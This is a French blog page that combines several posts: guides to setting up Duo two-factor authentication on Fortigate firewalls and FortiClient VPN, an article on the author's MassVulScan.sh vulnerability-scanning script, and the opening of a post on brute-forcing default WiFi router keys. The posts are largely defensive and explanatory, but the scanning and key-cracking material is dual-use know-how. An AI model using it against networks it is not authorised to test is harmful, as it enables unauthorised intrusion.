Vous devrez pour cela créer ou utiliser un utilisateur sur votre annuaire d’entreprise et le mettre dans le groupe « distant » correspondant au groupe local du firewall, « ADMIN_DUO » dans notre exemple.
Il suffit ensuite d’utiliser les informations de connexion de ce compte administrateur pour vérifier que l’authentification fonctionne, HTTPS et SSH, par exemple :
Un délai de 60 secondes sera donc accordé pour laisser le temps à administrateur de valider l’authentification à partir de son téléphone ou tablette.
En cas d’échec de connexion, il faudra vérifier les fichiers de logs sur le serveur DUO, notamment le fichier nommé « authevents » qui sera d’une grande aide pour identifier la ou les causes. Rendez-vous sur cet article pour les détails.
Mot de la fin
Cet article est le plus court de la série car l’essentiel a déjà été traité dans le précèdent.
Nous avons donc à ce stade une solution davantage sécurisée pour l’administration des firewall Fortigate et pour les connexions distantes via FortiClient.
Rendez-vous dans le dernier article pour voir comment nous pouvons ajouter ou plutôt « enrôler » un nouvel utilisateur et les différentes méthodes de validation offertes avec DUO.
Cet article est donc la suite logique dans lequel nous verrons comment l’utiliser depuis un firewall Fortigate. C’est l’article le plus long de la série.
Nous étudierons ici le cas suivant via le protocole LDAP(S) :
Accès sécurisés distants VPN SSL (FortiClient), Ex. pour des consultants ou employés d’une compagnie
Je vous détaillerai de petites astuces notamment pour bien gérer la redondance au niveau des Fortigate si vous souhaiter configurer deux serveurs DUO Proxy.
Dans l’article suivant nous verrons comment utiliser ces serveurs pour l’administration du Fortigate lui-même.
Fortigate – Configuration LDAP
Pour authentifier les usagers qui se connecteront aux Firewalls Fortigate depuis FortiClient, nous nous appuieront sur des serveurs LDAP que nous allons configurer.
Si j’utilise le protocole LDAP à la place d’un serveur Radius, c’est que je trouve cela plus lisible et plus souple pour gérer les groupes d’utilisateurs (au sens Active Directory ou AD) et plus logique finalement.
Plus lisible car il suffit de créer des groupes locaux (sur le fortigate) qui font référence à leur pendant côté Active Directory. Comme on le verra plus loin, il suffira d’aller naviguer sur l’AD depuis le Fortigate et de choisir les différents groupes.
Plus souple car il suffira ensuite d’ajouter les futurs usagers au niveau de l’AD dans les bons groupes sans que l’on ait besoin d’intervenir au niveau du Fortigate.
Plus logique car bien souvent lorsque l’on utilise un serveur Radius, il se base lui-même sur l’AD pour autoriser ou non l’accès suivant le(s) groupe(s) au(x)quel(s) l’usager appartient. Donc autant interroger directement l’AD sans passer par un intermédiaire.
La mise en place de la double authentification au niveau des connexions FortiClient (tunnels VPN SSL) nécessite quelques changements au niveau du Fortigate.
Tous les détails dans les sections suivantes mais dans les grandes lignes :
Configurer de nouveaux serveurs LDAP qui seront en fait nos serveurs « Duo Authentication Proxy »
Créer des groupes locaux pointant sur ceux d’Active Directory
Ajouter ces groupes au niveau du paramétrage VPN
Configurer de nouvelles règles de filtrage pour utiliser ces groupes
Réglages finaux des connexions LDAP, notamment le « timeout »
A noter que ce qui suit a été testé et validé sur des Fortigate ayant comme version FortiOS : 6.0.x et 6.2.x
Fortigate – Serveurs LDAP (DUO Proxy)
Serveur principal :
En premier lieu nous utiliserons l’interface graphique (GUI) pour configurer le serveur LDAP primaire qui sera en fait notre nouveau serveur DUO Proxy. Le cas échéant se positionner sur le bon « VDOM » puis se rendre ici : /User & Device/LDAP Servers
Renseigner les champs suivants de cette manière avec ses propres informations :
Name DUOPROXY Server IP/Name DUOPXY01.acme.corp Server Port 389 Common Name Identifier sAMAccountName Distinguished Name DC=acme,DC=corp Username CN=ldap-query-svc,OU=ACME,OU=Service Accounts,DC=acme,DC=corp Password L@ Securite est l affaire de t0us !!
Faire attention de bien saisir le CN de cette façon et d’indiquer le chemin complet pour l’utilisateur.
Un exemple ci-dessous, « Connection status » doit indiqué « Successful » :
La connexion au serveur est un succès
Serveur de secours :
Ensuite, nous pourrions configurer sur le Fortigate un second serveur LDAP (DUO Proxy) de secours de la même manière, cela fonctionnerait. Le problème dans cette configuration c’est que les deux serveurs seraient interrogés en même temps et que l’usager recevrait systématiquement deux demandes de validation pour le 2FA… ce qui ne donne pas une bonne expérience côté utilisateur vous conviendrez.
Aussi, nous allons procéder différent et configurer réellement un serveur de secours au principal mais cela ne peut se faire uniquement qu’en ligne de commande (CLI) avec le paramètre « set secondary-server » :
config user ldap edit « DUOPROXY » set server « DUOPXY01.acme.corp » set secondary-server « DUOPXY02.acme.corp » set source-ip 10.20.30.40 set cnid « sAMAccountName » set dn « DC=acme,DC=corp » set type regular set username « CN=ldap-query-svc,OU=ACME,OU=Service Accounts,DC=acme,DC=corp » set password ENC MTAwMKc0g0TL69uXauUZuYdZgAHh6626…. set password-expiry-warning enable set password-renewal enable next end
Dans cette configuration, si le serveur principal n’est pas joignable (durant une maintenance par exemple), le Fortigate enverra automatiquement les requêtes sur le serveur de secours.
Malheureusement, cette information ne sera jamais visible dans l’interface graphique (GUI), en tous les cas jusqu’à ce jour, il faut donc garder cela en tête.
Il est toujours bon de préciser la source (IPv4) qui se connecte aux serveurs pour une meilleure traçabilité et gestion des flux réseaux (set source-ip).
Et j’active également les messages via FortiClient afin d’avertir l’usager si son mot de passe venait à expirer prochainement et/ou si ce dernier devait le changer (set password-*). Ce qui n’est pas activé par défaut et seulement activable par CLI là aussi.
Fortigate – Groupes locaux
Nous devons maintenant créer des groupes locaux qui pointeront vers ceux de l’annuaire d’entreprise via nos nouveaux serveurs LDAP.
Prenons l’exemple du groupe « VPN_DUO_TEST » qui servira pour nos tests à se connecter à distance avec le FortiClient, il faut se rendre ici (interface GUI), le cas échéant se positionner sur le bon « VDOM » :
/User & Device/User Groups puis « Create New«
Type Firewall Members Ne rien mettre Remote Groups Cliquer sur « Add » et choisir le nouveau « Remote Server »
Exemple ci-dessous :
Début de création du groupe local
Ce n’est pas fini, nous devons maintenant indiquer à quel groupe « distant » (= AD) est relié notre groupe local. Pour cela, il faut faire un double clic sur la ligne en jaune où se trouve le serveur LDAP « DUOPROXY ». Ensuite, dans le champ de recherche on indique le nom du groupe (= CN) que l’on cherche, comme ci-dessous (cela peut-être n’importe quel nom) :
On doit chercher le groupe sur l’annuaire d’entreprise
Faire un clic droit sur la ligne qui nous intéresse, cliquer sur « Add Selected » et enfin terminé par « OK » :
Sélection du groupeLe groupe est sélectionné (une pastille apparaît)On valide la sélection
Notre groupe est bien présent mais sans référence pour le moment (= non utilisé pour l’instant) :
Le groupe est créé
Pour plus de clarté, il est préférable de ne faire corresponde qu’un seul groupe local à un groupe « distant » de l’AD (du 1 pour 1 donc).
Fortigate – VPN
Une fois le groupe créé nous devons créer et lui « affecter » un portail et lui permettre ainsi de se connecter au Fortigate.
Il faut pour cela se rendre dans le menu « VPN« . Si il n’est pas visible il suffit d’activer la fonction dans « System/Feature Visibility » et choisir « SSL-VPN Realms » (uniquement).
Cliquer ensuite sur le menu « SSL-VPN Portals« . Il est préférable de distinguer les connexions suivant leur finalité. Par exemple ici nous avons 4 portails distincts :
Différents portails VPN SSL
L’intérêt de faire cela est d’appliquer des options différentes suivant qui se connecte. Comme ici, nous avons par exemple le portail des « utilisateurs classiques » qui possède son propre range d’adresses IPv4 (pour le filtrage), son propre routage (split tunneling), on interdit d’avoir plusieurs connexions actives avec le même compte, mode « Tunnel » uniquement, etc…
Une fois le portail créé, nous devons l’affecter au groupe précédemment créé. Il faut se rendre dans le menu « SSL-VPN Settings » et créer la relation entre le groupe local et le portail voulu en cliquant sur « Create New » :
On créé et on affecte le portail à notre groupe localOn sélectionne le groupe local et portail
Une fois terminé, vous devriez avoir une page comme celle-ci, il ne reste plus qu’à valider les changements :
Paramètres appliqués à VPN SSL
Vous noterez qu’il est préférable de choisir un port « non standard » pour les accès externes même si cela obligera certains compagnies à ouvrir le flux en sortie. Il faut également prévoir un délai d’inactivité afin de faire tomber la connexion. Enfin, il est conseillé d’utiliser un certificat public valide et reconnu par une autorité certification.
Fortigate – Filtrage
Nous terminons la configuration en ajoutant les règles filtrage afin d’autoriser concrètement la connexion VPN SSL en précisant les flux réseaux permis.
Dans notre cas nous prendrons pour exemple l’accès à un intranet d’entreprise, Sharepoint :
Règles de firewall
Comme vous le voyez il faut également ne pas oublier d’ajouter le flux pour les requêtes DNS car les usagers utiliseront certainement le nom des serveurs.
A noter que l’interface source sera toujours « SSL-VPN tunnel » et qu’en source il faudra toujours préciser le range d’adresses IPv4 + le groupe local créé précédemment. Et le NAT ne doit pas être activé.
Une précision : le choix d’attribution de l’adresse IP est fait au moment de l’affectation du portail pour le groupe (étape précédente). En d’autres termes, ici avec la règle de filtrage, c’est le groupe qui va « orienter » le choix de l’adresse IPv4 qui est attribuée et non le fait de mettre tel ou tel range d’adresse IP (en bleu dans l’exemple).
Fortigate – Timeout (important)
Dans les sections précédentes nous avons vu quelques « astuces » seulement activables par ligne de commande (CLI), comme l’ajout d’un serveur de secours et les notifications lors de l’expiration des mots de passe.
Il reste un dernier changement important à fairepour laisser le temps à l’usager de valider ou non la demande de connexionlors de la deuxième authentification (si accès frauduleux ou erreur).
En effet, par défaut, le Fortigate n’attendra que 5 secondes. Ce qui est problématique car cela ne laisse pas assez de temps à l’usager de sortir son smartphone par exemple ou de recevoir l’appel téléphonique pour agir (voir Méthodes DUO offertes).
Nous allons donc devoir augmenter ce temps d’attente à 60 secondes, ce qui est largement suffisant.
Il faut pour cela se rendre en ligne de commande dans la configuration globale, comme ici dans la démo, cliquer sur le signe « >_ » :
On change la durée d’attente globale
Tout est prêt, nous allons pouvoir passer au FortiClient, le premier cas d’utilisation.
FortiClient – Installation et configuration
Installation
Pour valider le fonctionnement de l’ensemble, il est nécessaire d’installer et de configurer le FortiClient sur son PC/Mac (ou Tablette dans l’App store). Il s’agit d’un client VPN disponible sur de nombreuses plateformes :
Cette version « allégée » est suffisante pour nos tests :
Télécharger la dernière version du FortiClient
L’installation est très intuitive mais il faut les droits d’administration.
Configuration
Il faut créer une nouvelle connexion comme ici en cliquant sur la petite roue crantée en haut à droite dans le menu « REMOTE ACCESS » :
Ajouter une nouvelle connexion
Il peut être nécessaire de déverrouiller l’accès avant en bas à gauche :
Si besoin, déverrouiller l’accès aux paramétrage
Puis saisissez les informations correspondantes à votre environnement :
Paramètres de la nouvelle connexion VPN SSL
Bien se positionner sur le type de VPN « SSL-VPN », cocher la case « Customize port » et mettre le bon numéro de port dans la case correspondante. Et il faudra bien-sur créer une nouvelle entrée DNS publique. Enregistrer le tout.
Si vous voulez vérifier que le certificat est bien valide, il suffit de se rendre à cette l’URL avec votre navigateur depuis l’extérieur de votre entreprise : https://sslvpn.acme.com:12443
Test de connexion
Vous devrez ensuite créer un utilisateur sur votre annuaire d’entreprise et le mettre dans le groupe « distant » que nous avons relié au groupe local du firewall. Dans notre exemple le CN « VPN_DUO_TEST ».
Au niveau de la console FortiClient, sélectionnez votre connexion créée auparavant et saisir les informations de connexions, cliquer sur « Connect » comme ici :
Saisir les informations de connexion AD de l’utilisateur
Ensuite, la connexion va commencer à s’établir puis s’arrêter à 45%, l’usager aura 60 secondes pour répondre :
La connexion complète ne peut se faire qu’avec l’accord de l’usager
Une fois que l’utilisateur valide, la connexion s’établie.
En cas d’échec, il faudra vérifier les fichiers de logs sur serveur, notamment le fichier nommé « authevents » qui sera d’une grande aide pour identifier la ou les causes. Se référer au premier article pour plus de détails, section « Lancement et fichiers de logs ».
Mot de la fin
Nous venons de voir une manière de configurer un Fortigate avec un serveur DUO Authentication Proxy afin d’activer la double authentification pour les connexions VPN SSL avec FortiClient.
Pour connaître les différentes méthodes de validation côté utilisateur avec DUO et son enrôlement, il faut vous rendre au dernier article de la série (4/4) – en cours de rédaction.
Cet article décrit comment déployer une solution d’authentification à deux facteurs (2FA) afin de sécuriser davantage les accès aux ressources informatiques d’une entreprise, depuis l’internet ou le réseau local.
La solution présentée ici est celle de la société Duo Security qui se nomme « DUO Authentication Proxy« . Il s’agit d’une solution « sur site » (on-promises) accessible librement qui s’intègre aussi bien avec un service d’annuaire (Active Directory) via le protocole applicatif LDAP(S) qu’un serveur de stratégie réseau (NPS) déployé en tant que serveur Radius.
L’autre avantage de cette solution est de proposer une version d’essai de 30 jours à la version « Duo Access » qui permet d’avoir un bon aperçu de leur solution. On bascule ensuite automatiquement à la version gratuite appelée « Duo Free » qui permet d’enregistrer jusqu’à 10 utilisateurs, toujours compatible avec l’application « DUO Authentication Proxy « .
Dans cette première partie, nous étudierons que la partie DUO et ce en mode LDAP(S), rapidement suivra d’autres articles dédiés au Fortigate et FortiClient.
Vue d’ensemble
Le serveur » DUO Authentication Proxy » aura pour fonction « d’intercepter » les requêtes de demande d’authentification (LDAP, RADIUS etc…) et de les relayer aux différents serveurs concernés (contrôleurs de domaine, serveur Radius etc…).
Il jouera le rôle de « mandataire » et devra valider les accès lors de la première demande d’authentification « classique » puis effectuera une deuxième demande d’authentification via un second mécanisme différent qui lui est propre.
Pour cette deuxième demande d’authentification, ce serveur « intermédiaire » utilise sa propre infrastructure Cloud à partir de laquelle il communiquera avec l’utilisateur et validera ou non l’accès.
Schéma réseau
Ci-dessous les différentes étapes successives permettant de valider ou non l’accès à l’utilisateur final.
Dans cet exemple, il s’agit d’une demande de connexion distante depuis le client FortiClient de Fortinet pour établir un tunnel (VPN SSL). Le serveur « Duo Authentication Proxy » se situe au cœur de ce schéma réseau et communique directement avec les serveurs internes et le Cloud Duo :
Les différentes étapes pour établir un tunnel avec la double authentification
Première demande d’authentification initiée sur le Firewall Fortinet Fortigate via SSL VPN (FortiClient)
Le firewall transmet cette demande au serveur « Duo Authentication Proxy »
Le serveur « Duo Authentication Proxy » transmet à son tour la requête aux serveurs de l’entreprise (via LDAP/RADIUS)
En cas de succès, le serveur établit une connexion sécurisée avec les serveurs de Duo Security (via HTTPS)
Si l’utilisateur existe, une seconde demande d’authentification est faite auprès de ce dernier
Le serveur reçoit la réponse de l’utilisateur (via PUSH/SMS/PHONE)
Si la demande est bien approuvée, le firewall accorde l’accès à l’utilisateur.
Prérequis et installation
Nous utiliserons deux serveurs sous OS windows pour la redondance, voici la liste des prérequis pour l’installation de l’application :
Deux serveurs virtuels ou physiques avec Windows Server 2016 :
1 CPU, 4 GB de RAM et 40 GB d’espace disque (chacun)
Emplacement du fichier de configuration du serveur Duo
De préférence utiliser un éditeur de texte du type Notepad++ pour éviter les éventuels caractères parasites (retours chariots etc…).
Il faut ouvrir le fichier avec les droits d’administrateur et préciser différentes « sections » dans lesquelles nous allons mettre les paramètres et leur valeur.
Section [main]
La première section que nous devons configurer est la section [main] qui permet, notamment de :
Activer le mode « debug » au besoin (debug),
Inscrire dans un fichier toutes les tentatives d’authentification réussie ou non (log_auth_events),
Définir le nombre maximum de fichiers de logs à conserver par type de fichier (log_max_files),
Définir la taille maximale des fichiers de logs (log_max_size),
L’interface ou les interfaces d’écoute pour les requêtes LDAP/Radius (interface),
Et enfin d’activer ou non les tests de connectivité au (re)démarrage du service (test_connectivity_on_startup).
Voici un exemple ci-dessous que vous pouvez utiliser avec les explications :
[main] # On désactive le debug (par défaut le cas) debug=false # On logs les connexions des usagers log_auth_events=true # On ne conserve que 20 fichiers au maximum log_max_files=20 # Taille maximale des fichiers en octets (bytes) : ici 20 Mo log_max_size=20971520 # Une seule interface en écoute sur le serveur interface=10.20.30.40 # On active le tests de connexion à chaque démarrage du service test_connectivity_on_startup=true
Section à adapter en fonction de vos besoins et de votre plan d’adressage IPv4.
Comme on le voit il est possible de mettre des commentaires. Pour cela, différents caractères/mots peuvent être utilisés en début de ligne : REM, # (dièse) ou encore ; (point-virgule)
Remarque : il faut donc absolument éviter d’utiliser l’un de ces caractères ou mots pour les paramètres exigeant un mot de passe comme nous le verrons plus bas. Si on opte pour utiliser les mots de passe en clair dans le fichier, cela risque de poser problème.
Sections [ad_client] et [ldap_server_auto]
Toujours dans le même fichier de configuration, on continue avec les sections [ad_client] et [ldap_server_auto] qui permettront d’un côté au serveur de se connecter aux contrôleurs de domaine de l’entreprise et d’autre de recevoir les requêtes de type LDAP(S) depuis le Fortigate.
Dans notre cas, ces deux sections, l’une pour le mode « client » et l’autre pour le mode « serveur », serviront notamment pour :
Authentifier les usagers comme les consultants qui se connectent avec l’application FortiClient (tunnel VPN SSL)
Authentifier les administrateurs qui se connectent sur les firewalls Fortigate
Voici un exemple ci-dessous que vous pouvez utiliser avec les explications détaillées plus bas :
[ad_client] # Indiquer les différents contrôleurs de domaine host=DC01.acme.corp host_2=DC02.acme.corp # Compte de service utilisé service_account_username=ldap-query-svc service_account_password_protected=[mot de passe chiffré avec l’utilitaire « authproxy_passwd.exe »] search_dn=DC=acme,DC=corp # On utilise le protocole sécurisé LDAPS (SSL), sinon mettre la valeur « clear » pour LDAP transport=ldaps # On ne vérifie pas le certificat du ou des contrôleurs de domaine ssl_verify_hostname=false
[ldap_server_auto] # Informations de connexion à l’API Cloud Duo Security ikey=[copier/coller la clé au format DIXXXXXXXXXXXXXXXXXX] skey_protected=[clé chiffrée avec l’utilitaire « authproxy_passwd.exe »] api_host=[copier/coller le hostname au format api-XXXXXXXX.duosecurity.com] # On indique le client que l’on utilise pour se connecter aux contrôleurs de domaine, en l’occurrence celui crée plus haut client=ad_client # On laisse passer la connexion si 2FA échoue failmode=safe
Dans la section [ad_client] il est important de préciser plusieurs contrôleurs de domaine pour la redondance et on utilisera de préférence le protocole LDAPS, plus sécurisé. On incrémente pour cela le paramètre « host » : host pour le premier DC, host_2 pour le second, host_3 etc… le même compte de service sera utilisé.
Pour mettre le paramètre « ssl_verify_hostname » à « true » il faudrait mettre les certificats de chacun des contrôleurs de domaine dans le même répertoire que le fichier de configuration (ce qui est bien-sûr une bonne pratique). Ce ne sera pas le cas ici pour nos tests.
Dans la section [ldap_server_auto] trois groupes de données sont importants :
La partie Duo Security Cloud (ikey, skey et api),
Le client qui doit être utilisé (client),
Et enfin le comportement à adopter en cas d’échec de la connexion avec le Cloud de Duo (failmode).
Ici, si la double authentification ne fonctionne pas mais que l’authentification principale ou « classique » fonctionne, on autorise la connexion (mode=safe).
Il est possible de durcir la sécurité en passant au mode « secure », qui cette fois bloquerait la connexion, au risque par contre de perturber ou gêner l’administration en cas d’incident réel.
Par défaut le serveur écoutera sur le port standard TCP 389 et recevra donc les requêtes via le protocole LDAP. On imagine que ce serveur est DMZ et que seul les firewalls Fortigate s’y connecte pour l’instant.
Un point crucial ici est le chiffrement des mots de passe : aucun mot de passe ne devrait être présent en clair dans le fichier de configuration une fois le service en production.
Cela concerne les deux champs « service_account_password_protected » et « skey_protected ». Les informations à protéger sont ici chiffrées.
Il faut pour cela utiliser l’un des utilitaires fourni avec l’application qui se trouve ici :
Il suffit de lancer l’utilitaire en ligne de commande, de taper le mot de passe ou la clé puis de copier/coller le résultat, comme ici en jaune, dans le fichier de configuration :
L’utilitaire « authproxy_passwd.exe » permet de chiffrer les informationssensibles
Fichier complet
Vous trouverez ici un exemple de fichier complet (sans commentaire) à remplir avec vos propres informations :
Ceux qui nous intéressent sont en jaune, le dernier n’est pas utile dans notre cas :
Les 3 fichiers de log utiles au quotidien
connectivity_tool = dans ce fichier de log on peut voir l’état de la connexion du serveur avec le Cloud Duo Security lors d’un démarrage et permet de détecter un éventuel problème avec le fichier de configuration.
Par exemple ici les sections [ad_client] et [ldap_server_auto] sont correctes :
Pas d’erreur au lancement du service
Ici un autre cas où le certificat du contrôleur de domaine est manquant dans la section [ad_client] :
Le certificat du contrôleur de domaine est manquant
authproxy = ce fichier de log est complémentaire au fichier précèdent qui apportera d’autres informations lors du démarrage de l’application et indiquera si les ports sont bien en écoute ou pas. Il permettra également de voir les connexions « clientes » à savoir les Firewalls (LDAP et LDAPS) et équipements réseaux (Radius).
authevents = ce fichier au format JSON contient tous les évènements d’authentification des usagers. Cela permet rapidement de voir pourquoi une tentative de connexion aurait échouée, pour les deux niveaux d’authentification.
Quelques exemples ci-dessous :
Cas où l’usager n’existe pas ou bien que le mot de passe n’a pas été saisiIci l’usager n’est pas connu chez Duo Security et un cas où il a dépassé le délai pour répondre
Important : tout changement dans le fichier de configuration nécessite un redémarrage du service pour que cela soit pris en compte, ici en ligne de commande :
net stop duoauthproxy & net start duoauthproxy
Mise à jour
La procédure de mise à jour de l’application est très simple :
Lancer l’exécutable en tant qu’administrateur et suivre les indications qui s’affichent à l’écran. Les fichiers de configuration et de logs seront préservés.
Enfin, démarrer le service et vérifier les logs (connectivity_tool) : net start duoauthproxy
Remarques sur le « service »
J’ai remarqué que le service « DuoAuthProxy » ne démarrait pas toujours après un reboot suite à une maintenance par exemple.
Pour remédier au problème il m’a fallu modifier le type de démarrage à « Automatic (Delayed Start)« , comme ci-dessous :
On diffère le démarrage du service
De même pour le mode de récupération, où j’attends 5 minutes pour redémarrer le service après un incident :
On redémarre le service après 5 minutes
Mot de la fin
Dans cette première partie nous avons vu comment installer, configurer et interpréter les fichiers de logs du serveur DUO Authentication Proxy.
On pourra ainsi activer la double authentification à des usagers qui se connectent avec Forticlient ou à des administrateurs réseau pour l’administrer.
Il y a quelques temps, je cherchais le moyen d’identifier rapidement et efficacement tous les ports accessibles sur différents sites distants connectés à Internet (la quantité de hosts publics représentait un /24). Et je voulais m’assurer, par la même occasion, qu’il n’y avait aucun host qui exposait un service comportant des failles connues.
Jusqu’à présent j’utilisais indépendamment différents outils comme les classiques, mais efficaces, Masscan et Nmap pour obtenir ce que je voulais. Après traitement des résultats, j’exportais cela dans un fichier texte ou un bête fichier HTML. C’est plutôt fastidieux et le processus mal optimisé.
J’ai commencé à chercher un outil qui permettait d’identifier rapidement les ports ouverts et de ne scanner que les hosts ayant un ou plusieurs de ces ports ouverts (et que ceux-ci). Le tout en traitement parallèle afin de gagner du temps. Et pour finir, qu’un beau rapport soit généré, facilement exploitable. Mais n’ayant pas trouvé ce que je cherchais, j’ai décidé de le développer moi-même (en bash) et le voici ! MassVulScan.sh !
L’idée est de combiner la puissance du scanner Masscan pour trouver des ports ouverts, l’efficacité du scanner Nmap pour identifier les services ouverts et leur version, et enfin le script NSE vulners.nse pour identifier les vulnérabilités potentielles (CVE).
Pour accélérer la phase de reconnaissance de Masscan, une phase préalable de découverte permet d’identifier rapidement les hosts en ligne à scanner.
Une fois la phase de reconnaissance terminée, le fichier de sortie est traité afin de trier et rassembler tous ports à scanner par host. Ce qui permet d’optimiser les scans de Nmap. Il y aura autant de sessions Nmap qu’il y aura de hosts à scanner avec des ports ouverts (deux sessions différentes par host si des ports sont découverts avec TCP et UDP).
Pour finir, deux rapports seront générés, l’un concernant les hosts ayant de potentielles vulnérabilités et le second concernant l’exhaustivité des hosts ayant des un ou plusieurs ports ouverts.
Pour ceux qui utilisent un OS de la famille Debian, leur installation ou mise à jour sera automatique 🙂
Paramètres
-f | –include-file : fichier des hosts à scanner, IP ou nom d’hôtes (paramètre obligatoire)
-x | –exclude-file : fichier des hosts à exclure du scan
-i | –interactive : choix des ports à scanner, vitesse (Masscan) et script NSE
-c | –check : détection des hosts en ligne
-a | –all-ports : scan exhaustif de tous les ports (1-65535, TCP/UDP), à 2k paquets/seconde et script vulners.nse
-r | –report : conserver la liste des adresses IP ayant un ou plusieurs ports ouverts
-n| –no-nmap-scan : détecter uniquement les ports ouverts
Explications
Le seul paramètre obligatoire est le fichier en entrée (-f | –include-file) qui doit inclure la liste des hosts ou sous-réseaux à scanner. J’ai fait ce choix car dans mon cas, de nombreux sous-réseaux (privés ou publiques) sont scannés, c’est plus simple à gérer avec des commentaires pour chacun.
Par défaut, seuls les 1000 ports les plus populaires seront scannés à une vitesse maximum de 2500 paquets par minute (pour Masscan) avec le script vulners.nse.
Il est aussi possible d’exclure des hosts ou sous-réseaux (-x | –exclude-file), même format de fichier que le fichier en entrée.
A noter que le script est compatible avec des adresses IP ou des noms d’hôtes.
Un autre paramètre peut être ajouté (-c | –check) si l’on souhaite au préalable identifier les hosts qui sont en ligneavant de lancer la phase d’identification des ports ouverts avec Masscan. Cela peut être un gain de temps considérable pour Masscan.
Une autre option disponible (-a | –all-ports) permet d’indiquer au script de scanner la totalité des ports de 1 à 65535 pour les protocoles TCP et UDP à une vitesse maximum de 2000 paquets par minute (pour Masscan). Attention, sur certains réseaux cela peut être trop élevé, passez par le mode interactif dans ce cas (ci-dessous). En effet, il peut y avoir des perturbations et vous risqueriez de perdre le contrôle… je vous suggère d’utiliser la commande « timeout » si vous n’êtes pas sûr de vous au début, c’est bien pratique.
Un autre paramètre est le mode interactif (-i | –interactive) qui vous permet de choisir la liste des ports à scanner ainsi que la vitesse de scan de Masscan et le script NSE (nmap) à utiliser.
Fonctionnement et particularités
Interfaces réseaux
J’ai commencé récemment à m’amuser sur le site de pen-testing https://www.hackthebox.eu, j’ai ainsi eu l’occasion de tester mon script et de l’améliorer pour le coup.
Il faut savoir que pour accéder aux différents labs, un VPN est monté avec OpenVPN. Dans mon cas, une nouvelle interface « tun0 » est créée avec une IPv4 dans le subnet 10.10.14.0/23, ainsi qu’une route pour atteindre les différents serveurs virtuels (10.10.10.0/24 via 10.10.14.1).
Le problème c’est que Masscan, qui est appelé au début du script, n’utilisera par défaut que l’interface qui possède la route par défaut, en l’occurrence celle d’Internet (« eth0 » par exemple)… du coup impossible de scanner les serveurs.
Le script détectera donc si plusieurs interfaces réseaux existent et vous demandera de sélectionner celle à utiliser pour atteindre les hosts. Pas de problèmes pour Nmap qui gère cela correctement : le scan d’un côté pour identifier les services (interface « tun0 ») et la récupération des CVE associées via une API chez https://vulners.com (interface « eth0 »).
Masscan -> Nmap, passage de relais
Dans un soucis d’efficacité, le script rassemblera tous les ports identifiés comme ouvert par host. C’est à dire qu’une fois que Masscan aura identifié tous les ports ouverts, le script fera un tri pour que Nmap puisse lancer la reconnaissance de services uniquement sur les ports ouverts. Exemple de fichier intermédiaire trié et préparé pour Nmap :
Fichiers d’entrées TCP et UDP pour Nmap
Nmap, plus rapide avec le parallélisme
Toujours dans un soucis de performance, le script lance autant d’instances Nmap qu’il y a de hosts à scanner, elle fonctionnent toutes en parallèles :
Lancement des scans Nmap
Ce qui fait que le temps maximum d’exécution de Nmap dépendra donc uniquement du scan qui aura pris le plus de temps, et non du temps total des scans Nmap si nous étions en mode « série » (à la queue leu-leu).
Il y a une gestion de queue avec une limite de 50 scans en parallèles maximum (variable à changer si besoin). Dès qu’un scan est terminé, un autre prend le relais.
Identification des CVE avec vulners.com
Pour l’identification des CVE, le script s’appuie donc sur le site de https://vulners.com via une API. Il en existe d’autres mais c’est le plus fiable que j’ai trouvé. De plus, il trie directement les CVE par ordre de criticité, ce qui est bien pratique :
Exemple de vulnérabilités identifiées et triées pour un host donné sur le port SMB/SAMBA
Le site fait un gros travail pour fournir des données les plus à jour possibles.
Rapports
Si après analyse des hosts ont été détectés comme « potentiellement » vulnérables, un fichier au format TXT sera généré comportant uniquement ceux-ci. Cela permet de se concentrer dessus (avec tentative de résolution reverse DNS) :
Rapport sur les hosts vulnérables
Ensuite, un second fichier au format HTML sera cette fois généré comportant l’exhaustivité des hosts identifiés avec des ports ouverts. Pour ce dernier, j’utilise l’excellent template Nmap XSL avec bootstrap « nmap-bootstrap.xsl » qui produit de beaux rapports et qui surtout permet de filtrer et trier nos résultats :
Rapport Nmap avec le template « nmap-bootstrap.xsl » sur les hosts ayant des ports ouverts
Performance
Pour évoquer la performance du script, un dessin vaut mieux qu’un long discours. Ci-dessous une capture d’écran du déroulement complet d’un scan dont voici les caractéristiques :
à raison d’une cadence de 2500 paquets par seconde (Masscan)
puis 82 scans Nmap lancés en parallèles pour détecter les services actifs et vulnérabilités éventuelles
concernant 236 ports ouverts
et enfin génération des rapports
Seulement 03h30 pour scanner 235 hosts sur 131068 ports…
Il est toujours possible d’améliorer encore la vitesse d’execution du script en augmentant le nombre de paquets par seconde de Masscan, tout dépend de la qualité de vos liens Internet et de votre réseau interne.
Mais attention à ne pas perturber votre infrastructure, changez la valeur graduellement.
Mot de la fin
Voilà, j’espère que cet article vous donnera envie de tester mon script.
J’apporte régulièrement de nouvelles fonctions et cherche à l’optimiser constamment, je suis ouvert aux critiques et propositions d’amélioration.
Dernière chose, mon anglais n’est pas parfait, soyez indulgent ! (je parle du script).
Merci de m’avoir lu jusqu’au bout, j’attends vos commentaires maintenant 😉
Parmi 16 caractères possibles : A B C D E F 0 1 2 3 4 5 6 7 8 9
Ça c’est en observant les clés des différentes versions des routeurs que j’ai eu (HH2000, HH3000…), des connexions WIFI mises à disposition dans certains lieux (chez le dentiste, dans mon immeuble…) et en glanant des informations sur les forums. Mais j’ai un doute sur le chiffre « 0 », car je ne suis même pas certain qu’il soit réellement utilisé, pour ne pas embrouiller le client j’imagine (la lettre « O » avec le chiffre « 0 »). Je dis ça car je ne l’ai jamais vu, mais bon dans le doute, on le garde.
Nombre de possibilités : 16^8
Et oui le calcul est on ne peut plus simple, le nombre de combinaisons possibles est : 4 294 967 296
Cela semble énorme comme nombre à première vue mais attendez la suite… j’ai voulu voir combien de temps cela prenait d’essayer de récupérer la clé avec une attaque par brute-force et ainsi valider ma théorie sur cette liste de caractères.
Matériels et logiciels utilisés
Matériels
J’utilise un portable qui possède notamment une carte graphique dédiée Nvidia GeForce GTX 1050 (4G, GDDR5). Ce n’est pas une carte dernier cri mais suffisamment puissante pour mes besoins, elle consomme peu d’énergie et elle est encore plutôt bien notée : https://www.notebookcheck.net/NVIDIA-GeForce-GTX-1050-Notebook.178614.0.html
Pour la partie WIFI j’ai acheté une antenne externe USB avec le chipset Atheros AR9271, à savoir l’adaptateur Alpha AWUS036NHA. C’est un bon rapport qualité/prix, par contre il n’est compatible qu’avec les fréquences 2.4GHz (cela vient du chipset). Ses caractéristiques ici : https://wikidevi.com/files/datasheets/alfa_network/AWUS036NHA.pdf
J’ai choisi cet adaptateur car il supporte l’injection de paquets (monitor mode) et peut se transformer en point d’accès au besoin (master mode).
Logiciels
